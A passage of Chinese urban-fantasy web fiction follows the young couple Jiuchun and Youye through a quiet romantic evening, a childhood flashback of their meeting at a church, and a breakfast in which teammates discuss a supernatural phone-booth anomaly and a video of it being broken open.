九春洗好澡从隔间里跨出来,才发现自己忘了拿衣服。反正房里没人,他在腰间围了圈浴巾,从浴室里走出去。
——然后就看见,游叶趴在她的床上。女孩长发披散,明显也是刚洗完澡,正双腿翘起,聚精会神地猛摁游戏机。听到他出来,她抬起眼,视线直白地在他裸露的上半身描绘一圈,品味够了才微笑,“嗨。”
九春只觉得眼前一黑。不是,他不是锁了门吗?!啊,但这是游叶诶,撬锁进来什么的好像也很合理……不是等会儿,她来他房间干嘛?还挑这个点?
“你来干嘛?”他直接问了。
闻言,游叶再度抬起脸,她一边欣赏他身上那层观赏性极强的肌肉,一边说:“不干嘛。我不能没有事的时候来找你吗?”
这话到底叫他怎么回。说不能明显是撒谎,说能又会叫她得意忘形。九春干脆不回了,他拿起自己放在椅子上的衣服,开始一件一件套。
游叶在他套下半身衣物时体贴地移开了视线,以免他害羞过度演变成恼羞成怒,难得的重逢,她还不想这么早就破坏平和氛围。
套完了衣服,九春把浴巾挂起来,走到床侧。他犹豫半晌,还是坐在床沿,和游叶保持了相对距离——不是很远,但比起他们上次见面的距离就显得很生分了。
然而游叶从不按路数出牌,她奇怪地看他一眼,“你为什么不坐得离我近一点?”
九春默默,片刻,他移了过去。游叶还在继续打游戏,他们暂且都没开口。
她开着静音打的游戏,直到猛击按键的声音停下来,游叶才把游戏机放下,那上面显示着通关,正在自动播放下一段剧情。
两人都盯了屏幕一会儿。游叶伸手,拉住他肩膀,吻上了他的嘴唇。
这是一个温和的吻。和在副本里那个急切饥渴的吻不同,他们只是安静地唇齿相接,舌头温柔地卷织,仿佛默契的舞伴。偶尔空气里会响起啾啾的水声,他们都闭上眼睛,睫毛抵在一处,沉浸其中。
一段时间后,他们短暂地分开一下。游叶垂目,如同还在回味,又半抬起眼,看向九春,猫一般。九春也睁着眼睛,一眨不眨注视着她,他的手掌在游叶颈后轻柔一推,凑上前去,再度唇齿相交。
他们又亲吻了很长一段时间才分开。这会儿谁也不说话,只是贴在一起,如同依偎在同一个巢里的小动物,呆呆地看着绚丽变动的游戏机屏幕。九春的手贴在游叶颈背,缓慢地反复摩挲着,游叶半阖着眼,脸颊贴在他肩膀。
屏幕暗淡下去。他们都趴在床上,游叶的眼神终于逐渐从迷离转向锐利,九春唾液的美味效果到此为止。她戳戳他腰窝,九春抖了一下,硬撑着没弹开。“你们是不是关系不太好?”
“谁和谁?”九春叹了口气。游叶理所当然地说:“你和其他所有人。其他人和其他人。”
她想了一下,又说:“也不是不太好,就觉得你们不太熟。”
“才一起组队两个月,过了四个副本,能熟到哪里去。”九春回她。
游叶哼哼:“我和我闺蜜出两次副本就能知道她交往过几个人、分别是什么情况了。”
“那是她不把这些当回事吧。”九春吐槽。他能猜到她说的是哪个他们曾经同窗。
他说:“反正也组不了多长时间,关系怎样都无所谓,别影响任务就行。”
游叶不禁看了他一眼,语调里带上了一些关切:“怎么这样悲观。你们成为人生挚友的可能性也是有的吧。”
九春哼了一声,不答话。游叶安抚地摩挲他一侧肩膀,“好啦,知道你们不熟了。那其他人之间呢?”
“我也不太清楚。”九春回忆了一下,才说,“不过,连湛和君山好像是同学。我之前有听到他们聊过。”
“这也不意外。你知道他们都是谁的儿女吗?”游叶说。
“君山知道。”九春简单答道。拜托,这么有钱的队长,即使他很少关心新组队的会是什么家伙,也有去了解一二。
君山姓尹,霄日生物制药公司的“尹”。这是这个国度内最大的制药公司,尤其专精于精神污染治疗与防治相关药物,公会和它多有合作,异种净化专员也向来仰仗它。它掌握了除无垠公司外最尖端的制药技术,对异种转换成的净化源研究颇深。
富家子弟。当时的九春脑中首先闪过的是这个词,而和异种处理关联起来,只能想到有钱人家孩子闲着没事想体验生活——恰好,异种处理事务正是你在这个世界上可以找到的、最刺激的活动之一。
拜托,谁不想进【彼界】里见见这世上不存在的东西?要是能顺便净化个异种,还能赚点零花钱呢。
危险?就是要危险才有趣啊!反正只要队友靠谱,出事概率也高不过极限运动吧?
说真的,他们都见过不少这种人。九春想到这点,闷了半晌,还是嘟囔一句:“君山她……不是随随便便组了这个队的。”
游叶并不感到讶异。九春并非老好人,也不缺乏足够的警惕心,但总是很容易相信他人。她只是说:“只要他们出任务的时候不出岔子就好。”
“虽然你是随便进的,对吧?”游叶挤兑他一句,九春被噎住,为了掩饰自己的心虚,他提高了音调:“才、才不是!”
为了转移话题,九春问:“所以,这个和君山从不接有永久精神污染风险的任务有关系吗?”
游叶思忖一下,回答:“我猜有。君山是尹家最小的女儿,又不存在和她长姐争权的问题,应该很受家里宠爱。说实话,他们家愿意让她来从事这一行业我都很惊讶了。”
毕竟,再怎么标着没有永久精神污染风险的任务,也可能会突然变异、可能标记不准、可能判断失误,余生都是个疯子或者植物人的可能性并不为零,死亡概率亦然。
作为一个历史悠久、财富不可计数的家族最疼爱的幺女,长辈居然允许她来组队净化异种,不知该说是心太大还是太信任她。不过,底线也十分明晰:做简单的任务尝尝鲜可以,想要下到真正危险的深海纵游,那是不可能的。
说到这里,九春也明白,如果这个接任务的情况不改变,他们都不可能长久留在这支小队里。不过,现在说什么都太早,等到真的不得已再考虑这个吧。
“我就说为什么她只接标了无永久污染风险的任务……不过,说实话,我也不敢带他们进有风险的【彼界】。”
九春语气平静:“新手能出的事太多了。如果被波及,我自己倒是无所谓,但他们不应该因为经验不足而遭难。”
既然他都在这个队里了,有没有其他有经验的人在,筛选任务,合理规避风险就是他应该做的。
“他们也没那么差。至少精神污染抗性很不错,远超一般人了。”游叶说。
九春怀疑地问:“你
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才第一次见,怎么看出来的?”
“你忘了?一般人第一次听见我的声音,要么很容易被吸引屈服,要么会引发不适甚至恶心想吐。他们一个症状都没有,这样的精神抗性可不多见。”
他倒是忘了这茬。游叶观察的并没有错,搭档两个月,九春也意识到他们这个特征,这对异种净化专员来说是十分有用的优势,意味着你有了净化更高评级异种的资本。
游叶讲完这句,转回他另一位队友身上:“至于连湛,我觉得你应该能猜到。给你个提示:他姓庄。”
庄……九春给自己的联想吓得弹起来,他吃惊地看向游叶,“你是说,和亘均酒店集团的‘庄’?”
亘均酒店集团,是开设范围最广、服务最高级的酒店集团之一,曾号称要建造完全隔绝精神污染的酒店,而这一宣言并非空口无凭,亘均集团的工程部可谓掌控了这个国家最精锐的一批工程师和材料从业者,据说他们没有哪个地区不能建设酒店、没有哪种材料不能尝试一二。
游叶点了下头。不过,这样他们俩组队就不奇怪了。这些人家的孩子应该都是读一套学校出来的,从小就认识了。
九春说:“这样说,任务接受不只是君山那边的问题?”
“那不见得。哦,说到这个,我觉得你应该也知道一下比较好。”游叶把游戏机摁关机,“他和家里闹掰了。”
“闹掰了?连湛?我们说的是同一个人?”九春感到不可思议。连湛是他见过差不多脾气最好的人,礼仪品性目前来看全部无可挑剔,说他是富家大少爷,他都还有点不信——真有这么既没架子还没脾气的富家少爷?
不过,其人涵养之好,礼仪之周全,他在一般人身上也没怎么见过。偶尔,他能感觉到连湛受过非常高级的教育,那种知识面没有金钱堆砌不出来。
所以说,他怎么也想不出连湛忤逆父母的样子。他对平辈都礼貌得很,更何况对长辈了。
不过,确实没听过他说起自己的家里。
游叶说:“根据我听到的消息来看,他和他家里几乎算是决裂了,只是没有完全公开。”
“为什么?”
“小道消息,不保真。说是理念不合,他家里不想他做我们这行,他要追求理想。基本上,可以说是他父亲单方面驱逐了他。”
两个人都沉默下来。片刻后,九春语气毫无起伏地开口:“看来有父母有时候也不是什么好事。”
“谁说不是呢。”游叶玩他头发,动作很小心不被他察觉。
九春不高兴地瞪她一眼,“别玩我头发!”
“好好好。这么小气。”游叶放开手。盯着他浅绿色的短发和澄黄眼瞳,她突然语调转变,以运用显征能力时的古怪语言说了一句话。
更古怪的是,九春顿了一下,很干脆地回答她:“有。但我说不是,履历上也是这样写的。”
游叶点点头,她恢复正常的语言:“那就好。”
她神色柔和,微笑了一下。两个人又默不作声地待了会儿,九春忽然说:“他们其实也不太容易。”
“你关心他们?”游叶随口说。
“哈?谁……我才没有。”九春立刻回答。
游叶不揭穿他。她转了转眼珠子,突然起身。九春以为她要离开,下意识也翻起身,伸出了手。
下一秒,他被一股力量反摁回去。那力道源自游叶压在他胸口上的手,她双腿分开跨坐在他腰两侧,笑眯眯地看着他,说:“你累吗?”
“累倒是不累,你要……”
“那,我们就来做一些快乐的事吧!”游叶兴高采烈地宣布。她舔舔嘴唇,眼神放光。
像蜂鸟啄食花蜜,她倾身下去,咬住他嘴唇。
5. 旧影余音·白玉鸟
【十七年前】
“敬颂圣者!慈悲渡世;
请您聆听一位从者虔诚祈求;
不论在狂风呼啸的巨岩,
还是在沉默以对的海底,
我的祈祷都会向您飞去。
敬颂圣者!请您垂怜;
无需富贵才华,无需长寿如日;
我只求兄弟姐妹,夜里可得安眠。
敬颂圣者,敬颂圣者……”
童稚的声音高高扬起,向远方飞去。不算宏伟的教堂里,墙面反射着清澈嘹亮的颂歌,混合着穹顶彩花玻璃透下的七色阳光,沐浴每一位长凳上的信仰之人。
他们年龄各异,服饰参差,身份不同,但皆是目露微笑,静静聆听这唱祷。这里是国家规模最大的正规宗教【亚理苏教】的教堂,这一宗教以包容、博爱、行善、追随为主要教义。
站在前排最中心的那个孩子,他穿着朴素大方的衣服,鼓起胸膛,唱出下一段祷词,他的声音像一支钝头的飞箭,击中人心间,却不伤及分毫。如光、如泉。
令人多看两眼的,是他澄黄色的眼瞳。这样颜色的眼睛相当少见,眼型大而圆,让人联想到黄昏中起飞的猫头鹰。
弹奏钢琴的琴师微笑着停下指尖,听众间响起一阵掌声。九春向前方鞠了一躬,很高兴地想:太好了!今天一个词都没唱错!最困难的地方也没有跑调……
“今天唱得很好哦,小九春。”琴师,也是他们的声乐老师,带着他最喜欢的笑容,在台下夸奖了他。
九春兴奋得脸红扑扑的,他一不留神大声回答:“谢谢老师!”
琴师在唇间竖起一根手指,“嘘——不要影响其他人祷告了。”
九春乖乖低下头,“是……对不起,老师。”
“没关系,你还小,以后注意就好了。”琴师摸摸他深色头发,“唱诗结束了,如果在这里觉得无聊,你可以去外面的花园里玩一玩。你外婆要过会儿才来接你,对吧?”
“嗯!”九春应答,“那我就去外面等阿嫲了,老师再见!”
“再见。”琴师向他挥挥手。
其他孩子都回到自己家长身边了。九春绕过一排排人群,所过之处,人们都向他投以怜爱的目光:这样一个唱歌好听的好孩子,没有人会不喜欢。
九春原本打算直接从侧门偷偷出去,不影响从正门进来的信徒,但就在他掀开侧门帘子之前,他的目光被最后几排的一个人吸引住了。
那是一个小女孩。看起来和他年纪相仿,漆黑的及肩发上别着一个落叶形状的发卡,透明水晶的质地,在阳光下闪闪发光。她从刚刚他唱歌的时候就一直坐在那里,一个人。
这样年纪的孩子,没有大人陪护是很少见的。九春没有想到那么多,他有些着迷地盯着对方的瞳孔,心想:好漂亮的眼睛啊,和阿嫲的那串深绿尖晶石项链好像。
大概是注意到他的视线,那个女孩转过头来,看向了他。她的眼睛深邃,但仍然闪闪发光。她的目光带着好奇,也有一点警惕,像丛林里偶尔见到的小动物。
九春说:“嘿。”
他也不知道要说些什么。女孩歪了歪头,有点迟疑地重复他的话:“……嘿?”
她的声音也很好听,但为什么要这么小声?他都差点听不到了。九春走近她,学着她小声说:“要不要和我一起出去玩?”
想了想,他补充说:“我知道有个地方很漂亮。要不要和我一起去看看?”
小女孩眨眨眼睛,她说:“你不觉得难受吗?”
九春疑惑地说:“为什么?我不难受呀。”
小女孩似乎在思考什么,但很明显她也想不明白,没多久就从长凳上跳下来,说:“那我们就走吧。要去哪里?”
“外面!”九春向她伸出手。
她迟疑了一下,把手搭了上去。两只小小的幼嫩手掌交叠,九春拉着她,从侧门钻了出去。
在花园里绕来绕去,九春终于领着她到达今天的目的地。他自豪地展示:“我们到啦!你觉得怎么样?”
其实这里只是一片荒草地,有着一棵古树,但在那时的他们眼里,这就是世界上最好玩的地方。小女孩眼神亮亮地,用力点头,“我喜欢这里!”
她小声说:“风好舒服哦。”
九春很得意,“我就知道你会喜欢!这里可是我的秘密基地,平时不会带人来这里的。”
两小孩在草地上坐下。九春忽然想到,老师和阿嫲都教过他,这个时候要自我介绍。
于是他说:“我叫九春!你呢?”
小女孩动了动,她小声说:“他们给我取了个名字,叫……游叶?好像是这样的。”
“你不知道你叫什么吗?”
“唔……我不记得了。”
自己的名字,居然也会不记得吗?九春继续说:“我也会忘记事情,不过阿嫲都会帮我记得!”
他拿出一串钥匙,“你看,这个是开学校柜子门的钥匙,如果不是阿嫲提醒我,我就忘记了,那就开不了柜子,放不了东西了。”
游叶似乎在努力思考他的话语,她小声喃喃:“学校……?阿嫲……?那是什么?”
“诶,你没有去上学吗?”九春有点惊讶,“你几岁了?”
“他们说我七岁了。”
“那不是和我一样吗?唔……可能有什么原因吧。”九春安慰她,“你要是能上学就好了,上学很好玩的!”
接下来,九春很认真地和游叶讲了好一会儿上学的好玩之处。游叶也听得很认真,末了,她说:“我也好想去上学呀。”
“嗯!你住在这附近吗?”得到肯定的回答后,九春高兴地说,“那说不定我们会上同一个学校!要是能在一个班就好了。”
游叶露出一个微笑。她说:“我也想跟你一起上学。”
然后她又问:“阿嫲是什么?”
“哦,这个啊,是我的外婆啦。”九春坦率地说,“我是外婆养大的。”
他本以为对方会问一些人们通常会问他的问题,但游叶掰了一会儿手指头,忽然抬头,像发现了新大陆一样说:“我知道了!”
九春好奇地侧过去。游叶兴奋地说:“外婆就是妈妈的妈妈,对吧!我知道这个!”
“唔,嗯,是这样没错……”九春有点不知所措。
“真好呀,你可以和你的外婆在一起。”游叶说,“我都不知道我的外婆在哪里。”
“你没有见过她吗?”
“也许有吧……但我也不记得了。”
“希望你身边也有个人可以帮你记得这些。”九春由衷地说。他想:幸好我还有外婆,不然要是我把这些都忘掉就糟了。
“嗯。不过没关系,之后姐姐会帮我记得
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的。我自己也不要忘了!”游叶握紧拳头,神情坚定。
九春不由自主开口:“我也帮你一起!”
游叶笑了起来,“太好了!”
九春也露出浅浅的笑容。他说:“你说话原来也可以这么大声嘛。”
游叶呆了一下,她立刻捂住嘴,有点沮丧地小声说:“糟糕,我又忘掉了……”
“嗯?啊我不是说不好的意思!”九春连忙慌张地解释起来,“我只是觉得,你的声音很好听,大声点让大家都听见才更好吧?就像我唱歌那样!”
她摇摇头。“不一样的。我的声音……不一样的。”
“他们都说,听到我说话,会很不舒服。之前有一次,我说话的时候,有个大人听见了,直接吐了。”她慢慢说,声音里满是落寞。
“所以,为了大家都不难受,我以后说话都不敢大声了。”
怎么会这样!九春感到一阵愤懑,他说:“可是我就不会!我觉得你的声音特别好听!”
“你真的没有不舒服吗?没有骗我?”游叶问。
九春十分用力地摇头,“没有!我真的没有不舒服的。”
他想到什么,说:“那既然我不会难受,那以后你和我说话就可以大声说了!”
“别人我也不太清楚是怎么回事……说不定是他们当时刚好吃坏了肚子呢。”九春提出其他可能性,“总之,我不会难受的,你就和我大声说话吧!”
“那、那……我就大声说了?”游叶不确定地问。
“嗯!”
九春很高兴看到他的小伙伴声音明亮起来。怎么会有人听到这样的声音会觉得不舒服?明明就没有难听的地方。
他想:这样的声音,唱歌一定很好听吧!
于是,他自然而然地提出了这个主意:“对了,我们来唱歌吧?你喜欢我们刚刚唱的歌吗?”
游叶点点头,“我觉得很好听。那是什么?”
“那个是——唔,我也不太懂,但好像说唱了就可以让天上的人听见,那是个很厉害很厉害的人,只要她听到了,就会保护我们,让我们快乐。”
游叶不明所以,但觉得很厉害的样子。她说:“那我也想学学……”
“太好了!我来教你,不会很难的。”
在一段悠扬清亮的歌声后,另一个犹豫、畏怯着的声音接着它响起来;但很快,它鼓起勇气,开始充盈,变得饱满而富有生机。
两段相异的歌声,在逐渐燃起的黄昏中,相互追逐、交织,编织出一段丰富的旋律。只有歌声的主人没有意识到,在他们四周,能量不稳定地波动着,特殊的力场在他们身边扩散,完美地包覆其中两个孩子。
其中,在他们看不见的地方,草叶簌簌颤动,从尖端开始尘散消去,又在下一个瞬间恢复如初,如同冬季玻璃窗上的白雾,擦去、又附着,相互制衡,周而复始,循环往复。
夕阳西下,幼鸟归巢。游叶不熟练地打开儿童版掌机,失落地说:“啊……我要走了。姐姐来接我了。”
九春也有些沮丧。不过他很快振奋起来,“没关系!阿嫲也应该要来接我了,我们还可以再见的。你还会来这里吗?”
“嗯!如果他们不给我来,我就偷偷过来;我们一定会再见的!”
地面拉长的影子,几乎如成年人般大小,她许下承诺,自此不曾更改。
6. 早餐
第二天早上,君山照旧是第二个起床的,第一个是连湛,他在烹制早餐,今天是烤面包片夹万物,他正熟练地翻锅铲煎蛋。
比起追求效率的营养制剂,他们都更喜欢通过切实品尝食物来满足口腹。尽管有了方便的营养液,或者一口解决一天的高能量快捷食品等等被发明出来,但只要有条件有时间,人们还是倾向于吃传统食物。
连湛摁了一下升降按钮,查看煎板下的烤炉,培根有没有发焦出油。见火候还没到,他把煎板降回去,向君山颔首,“早上好。”
君山回答相同话语。连湛问她要多少,她比了个“二”,然后说:“煎蛋要一个,培根不了,我要配点果酱。”
连湛开始给她装盘。任谁看到这一幕都不会想到,他和君山同样来自富裕且有权势的家庭。他把盘子放到君山面前,又回去照顾炉灶了。
君山给自己倒了杯天然葡萄汁,开始用掌机投映光屏,一个屏看最近的新闻,另一个屏是异种净化专员论坛——“奇境”。她就着新闻播报的声音刷网站,快速吸收论坛里最新更新的异种情报。
“奇境”论坛专供异种处理公会会员进行讨论交流,专员们可以在上面分享破解异种【彼界】最新的方法、进度以及可能会出现的精神污染症状、比较针对有效的药物等等,当然也可以分享某些知名人士的八卦、抱怨队友突然发疯拖后腿,总的来说,只要不违法乱纪,你想发什么都行。
连湛关掉加热系统,装了自己的食物坐在她对面,君山询问后和他共享屏幕,两个人一起一心二用,不久便讨论起最新更新的异种视频来。
这时,一个不可能被忽视的声音从外头传来:“早上好。”
两人同时转过头去。他们的新队友,游叶穿着休闲服走过来。她看上去神采奕奕,精神状态好得不像昨天刚解决一个C+级副本。
当然,君山没有错过她的来向——看样子,她是从九春房间出来的。尽管没有在能看见的皮肤上发现什么痕迹,但君山能确定昨晚发生了什么。
看来她对这两位的关系又要重新评估一下了。不过,昨天果然是错觉吧,在她听到游叶说话的时候,感觉脑子里像搅动起来,晕眩中带着恶心。那大概是刚出副本的后遗症,毕竟刚刚她没觉着什么不适。
在种种念头闪过的片刻,游叶已经走近餐桌,看见灶台上堆叠的烤吐司等等,她似乎有些意外。
君山看着连湛坐立不安的样子,大概是觉得自己应该招待游叶问她想不想吃,又担心对方有自己的安排,自己突然的询问会打乱她的计划。结果就变成了欲言又止止言又欲的状态。
她心里有点无语,但还是说:“你要不要吃?连湛做多了,我们俩吃不完的。”
连湛赶忙跟上:“不嫌弃的话,请随意!不过,我的厨艺并不是很好……”
“哪里,这个看上去很好吃啊。”游叶毫不犹豫地接受他们的好意,她给自己先装了两片吐司,培根和鸡蛋多多地加。随后打开变温箱,快乐地发现里头有冻的巧克力牛奶,立刻伸手掏了一瓶出来。
准备好自己的早餐,游叶坐到君山隔壁,没有刻意隔开一个座位,津津有味地享用起来。
她咽下一口,问:“刚刚好像听到你们在讨论,是什么新异种吗?”
“说新也不算新,不过最近有人发掘出了新的……反制方法。”君山卡了一下,觉着那招大概也不能被称为净化方法。
她说:“是那个时空电话亭,你没听说过吗?”
游叶思索了下,摇头,“没有。我刚回大都会不久,是在这边常驻的异种吗?”
连湛回答她:“对。这个异种的【彼界】是搭建在现实之中的,具体表现形式是一个随机地点出现的电话亭,会在出现地点造成小范围低浓度精神污染,一般精神抗性的人会感受到咽喉与声带不适,三至六小时内无法发声,或十二小时至一天的完全失聪。”
“发声和听觉……附和电话亭本身的性质,传达和倾听。”游叶说,“虽然是随机地点,但总的来说围绕大都会?”
“对。仅有五例目击例子是在大都会外。可以比较确定地说,在大都会内抓住它并且净化掉的概率是最大的。”
游叶点点头。她问:“电话亭我是明白了,时空在什么地方呢?”
“电话亭会在出现位置随机抓人进亭子,也有人表示听到了具有极强蛊惑性的召唤,不由自主就进去了。”君山说,“进去的人会遭到高浓度精神污染,会完全失去发生能力或听觉中的一项,时长根据每个人具体精神抗性不同,但最低不会少于一周,也有人现在还没康复。”
“至于时空……出来的人说,他们接听了一通专属于自己的电话。在电话里,他们听到了过去的、或者死去的人的声音。”
三人均是沉默下来。游叶沉思着,慢慢吃她那份吐司,顺便注意有没有油汁漏出来沾到手指。
这个异种可以说不算危险,但净化难度不低。首先,从他们说的和游叶刚刚搜索出来的来看,目前完全没人对这个异种【彼界】的运行逻辑有头绪,而想要找到净化方法,至少得搞清楚其活动逻辑。
关于活动逻辑,他们刚刚净化的【红舞鞋】异种是比较清楚的:【彼界】内设置了五道关卡,在关卡和其他建筑内可以找到线索,只要全部通关并且破解异种设置的谜题,就可以对其净化。这种“通关型”异种是比较容易被净化的。
而这个“时空电话亭”明显不是这个类型。没有关卡、没有提示、没有问题,这类没有明显净化方法的异种都被统称为“漫游型”。一般净化这类异种都相当耗时,需要专员们破解其行动的逻辑,再从这套逻辑中找到净化方法。
以电话亭为例,专员需要找出祂为什么固定于传达过去的声音、如何做到传达过去的声音一系列,从电话亭本身、精神污染症状、进入人群的特征等等中寻找线索,找出答案。
而拼凑出的整个逻辑,往往就有净化祂的方法。
有些专员也会称“漫游型”异种为“愿望型”,因其净化方式往往为完成该异种的愿望,破解祂的执念。
“目前没有出现死亡案例,可以说,这是个没有死亡风险的异种。”君山翻过一页光屏,咬下一口涂满果酱的吐司,“并且危害性排不到前边,所以政府和公会不考虑暴力净化。”
以上种种通关净化、逻辑破解之说,是理论上所有人都可以运用的净化方法。还有一种净化法,俗称为“推平彼界”的,就是依靠显征者进行【暴力净化】。
简单来说,就是召集一帮显征者,发动足够强度的显征能力,直接将整个【彼界】湮灭掉。一般以“净化型”显征者为主力,强行将异种净化。
但这方法不仅很耗显征者(对身体消耗很大),人数需求也不小,不管显征者的显征能力有多强,至少目前没听说五人以下可以进行暴力净化的,评级再低的异种也一样。
而理论上能五人暴力净化一处【彼界】,所需要显征能力强度,恐怕得集合当世最精锐的一批显征者才能达到。这帮大佬非政府主持召集,或者无垠公司内部指名,恐怕根本不会聚到一起。
——不过话又说回来,一般需要暴力推平的异种,不是专员们死磕多年真没招了,就是危险性极高、污染性极强的异种,近年来听说被推平的没有哪个低于A级。
还有一个关键问题:一般净化可以将异种转化为新的净化源,在除掉原本精神污染的同时,还可以净化其他地方的精神污染。但暴力净化是无法留下净化源的,只能清理原异种造成的精神污染。这就是一个净化效益的问题了。
当
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然,也有传闻(没人敢保真),说公会积分排行榜第一的那位天缨,曾做到过一个人暴力净化了一个异种。
但传闻到底是传闻,她那位助理嘴又严实得世界毁灭了也撬不开,此事可信度也并不很高。
游叶搜索完相关信息,问他们:“我大概了解了。不过你们说的这个最新,反制方法?是还没公开吗,搜不到。”
“应该是相关人员有什么身份吧,脸什么的全打码了,也限制只能在论坛内传播。”君山干脆直接分了个屏,让她用自己已经登好的页面看。
游叶道了声谢,把音波频段调到仅自己可听的频段,点击播放视频。
视频背景是一条繁华的街道。两边商店琳琅,彩灯霓虹四转,地面倒映出五颜六色的光影,绮丽非常。附近摩天大楼的3D屏左上角显示,拍摄时是夜晚八点半。
拍摄者大概原本正在边走路边随便录影,在抵达路口前,忽然停住。原因很简单:前方光线在空气中扭曲,形成不应存在的折射,一座电话亭的形态逐渐成型。
电话亭材质看不出特别,形制总体复古,但颜色五光十色霓虹彩,倒是特别符合赛博都市刻板印象。它静静矗立在那里,好像一直建在这条街道上一般。
视频里传来路人混杂的声音。接着是几声惊叫——电话亭不远处,一个路过的人被直接整个吸进了亭中!
倒放回去几秒,能看清那是个年轻女子,深红的短发修剪成狼尾造型,一层细碎覆在后颈上。她戴着黑色口罩,只露出被打了码的上半张脸。身形修长,穿着黑色皮夹克和牛仔长裤——在这样热的天气里。
她似乎来不及做出任何反抗性举动,就消失在了熙熙攘攘的街上。四周有人开始打电话给政府紧急异种事务处理部,有人靠近电话亭,但大部分人还是远离,可见这个电话亭的都市异闻名声之广。
“呼——好不容易终于找对路绕出来了,这家店内部可真复杂……等、■■?■■!”
一个清澈明亮的男声压过一切嘈杂。画面中可以清楚看见,一个男子从前面模型店门口狂奔,一路冲到了电话亭前。
他黑色的短发在风中飘扬,脸上被打了一层马赛克,手里的袋子掉在半路,有人捡了起来。男子大喊了几声被处理掉具体字音的词语,大概是那个年轻女子的名字,虽然看不到表情,但从音调能听出他的焦急。
他用力拉拽了几下电话亭门把手,露出的右手青筋毕露,那座电话亭配合地嘎吱几声,但是纹丝不动。
男子气得一跺脚,接着大声喊道:“喂,电话亭!”
他也不知道是脑子抽了哪根筋,居然在向电话亭喊话。但考虑到这是一个异种,也不无能够沟通的可能。
男子接着喊:“你别杵在那里不出声,我知道你抓了人!你有本事抢人,怎么没本事开门啊!快点把我妹妹放出来!我看见了!你把她抓进去了对吧!快点放她出来!”
他又用力拽了几下门把手,“不然,我就要把你的门砸烂了!”
电话亭毫无回应。男子往后退了一步。动作间,他颊畔有什么东西闪光了一下。
他深吸一口气,左臂向后拉开——
——一声可怖的撞击声爆裂,像一记重锤重击在鼓膜上!戴着漆黑手套的左手狠狠砸到电话亭门上,带着让人怀疑是否能仅靠□□的力道。
他不间断地挥出第二拳、第三拳。每一下拳头锤击到那扇金属支架嵌玻璃的门,蛛网般的裂缝都会进一步蔓延开来。他的攻击奏效了。
男子甩甩左臂,他提高了声音,原本清澈的音色中带出金属摩擦般的尖锐:“快放赭染出来!”
还是没有回应。就在男子准备挥出下一拳时,电话亭忽然诡异地静止了一瞬。下一瞬,祂扭曲形体,如同虬结老树,四周空气颤抖——
7. 留言
在凄厉尖啸中,电话亭的门狠狠向外扇开,里头吐出一个东西,炮弹般撞到男子身上!
他倒退数米,好不容易接住那个东西,居然没倒下。被他抱在怀里的,正是刚刚被吸摄进去的年轻女子。
男子立刻将她转过来,双手摁在她肩上,上下打量着,一边忧心地问:“没事吧?感觉还好吗?”
女子摇摇头。她方才把口罩拉上。她语气平静:“我没事。”
“那鬼东西抓你是想干什么?可恶,我非得去再揍它一拳……诶,不见了!”
男子惊讶地看着路口。原本矗立着电话亭的地方,现在空空如也,如同吹散一阵迷雾,露出本应的真实。
女子说:“它想让我接一通电话。”
“那——”
“我没接。”她说。
“我咬了它一口。”
*****
视频在这里结束了。游叶反刍了一会儿,提炼出以下几个要点。
一,不进入电话亭,即不进入【彼界】,在外的攻击仍然对电话亭有效。
二、存在不接听电话也可以离开的选项。
三、电话亭内,即【彼界】内可以对异种造成伤害。
只是不知道那姑娘的“咬了一口”是真咬了还是什么……不过,这视频里两个人,怎么越看越熟悉呢。
带着疑问,游叶重新播放视频,进行求证。
这一次,她倒放数回,分开两个光屏,分别定格在那名年轻女子还在街边等待和男子站在店门口的画面。她放大细节。
这一次,她看清楚了:女子熟悉的天然发色,一如既往的口罩;男子脸颊右侧,耳垂上挂着的菱形烟紫色晶体耳环。
君山和连湛正展开第二轮对视频细节的观测和讨论,一时没注意到她那边,忽然听到她大笑出声,均是吓了一跳。
两人回头望去,看到游叶笑得停不下来,弯下腰,头发都披散到跟前。她笑了好一阵,才慢慢止住,女孩抬起脸,把头发捋到肩后,眼角都出现了点泪花。
这视频有那么好笑吗,虽然君山觉得那个脸给打了马赛克的男的威胁电话亭的确有点逗趣就是了。
游叶一面摇头一面感慨:“哎呀,这电话亭也是倒霉,碰上这兄妹俩。”
“它再晚点开门,估计真的会被砸烂……”她声音小下去,“不知道他们在不在,要是他们也在附近的话估计……”
注意到两人疑惑的目光,游叶忙笑道:“没事,只是想起了一些有趣的事。”
她摁下掌机,划开自己联系界面的光幕,飞快敲击起词句。君山向她问:“你有什么看法?我是觉得,下次碰上类似的异种,可能连湛也能靠□□能力突破。”
“嗯?你是说和那个砸门的一样吗?”游叶发送讯息,她若有所思地点着桌面,“这个……可能不一定。连湛,你的显征能力能强化身体的什么部位?”
“全身都可以。”连湛老实回答。
游叶有些吃惊看他一眼。她又问:“能强化别人吗?”
连湛带着点羞愧摇摇头。游叶看他神情,说:“也不用这样想。能强化全身已经很厉害了。我认识的增益型里都没有范围那么广的。”
基本上,增益型能强化的范围都限制在一个部位,比如一只手或者一只脚这样。连湛这样的范围可谓万中无一,只是不知道能强化到什么地步。
连湛看起来像骑士王子那样优雅,相貌也是清秀那一挂,实在很难想象他会和视频里那位一样抡拳砸门。但看他诚挚的表情,大概真会这么做并已经做过了。
反正他如何运用能力,之后净化异种的时候就会知道了。游叶无心纠结这些,她说:“虽说全身都可以增益,但你的显征能力和视频里那位应该不是一个方向,这种破局方法不一定适用。”
“他不是增益型吗?”君山疑惑地问。
游叶摇摇头,“他是净化型。”
真的假的。那岂不是说那个力度完全是纯粹的□□力量?什么健身疯子,也太可怕了吧。君山不由打了个寒噤,随后她意识到什么,问:“你认识那两个人?”
“嗯。”
见游叶不欲多说,君山也没再问下去。她正想继续问问游叶的看法,不远处传来拖鞋的踢踏声。九春慢吞吞地走楼梯下来,他穿着白T恤和短裤,浅绿色头发扎了个小揪揪在脑后,完全是刚睡醒的姿态。
君山迅速扫了一圈,目之所及也没发现什么可疑的痕迹。这不对吧。他俩居然不是会互相留印记的类型?啊不,这么想对九春好像有点失礼,但游叶怎么看都是那种喜欢留下标记的啊。
也不怪君山如此想,毕竟游叶给她的第一印象实在过于强烈:一个在净化异种后强吻了她队友的人。君山感到费解,君山决定不想了。反正这也不是重点。
九春走过来,连湛连忙叫住他:“九春,这边有多的烤吐司。你要吃吗?”
“啊,……谢谢。”他嘟囔一声,过去捏了几片起来,还有培根和鸡蛋。他在变温箱表面摁了几下,一会儿后打开,拿出一瓶温热牛奶。
他一手端着盘子,一手握着牛奶瓶,转过头,澄黄色眼瞳平淡无波地扫过君山、连湛,直到看见游叶时,他的眼睛才稍微睁大一些。像看见一个并未消散、令人怀念的美梦。
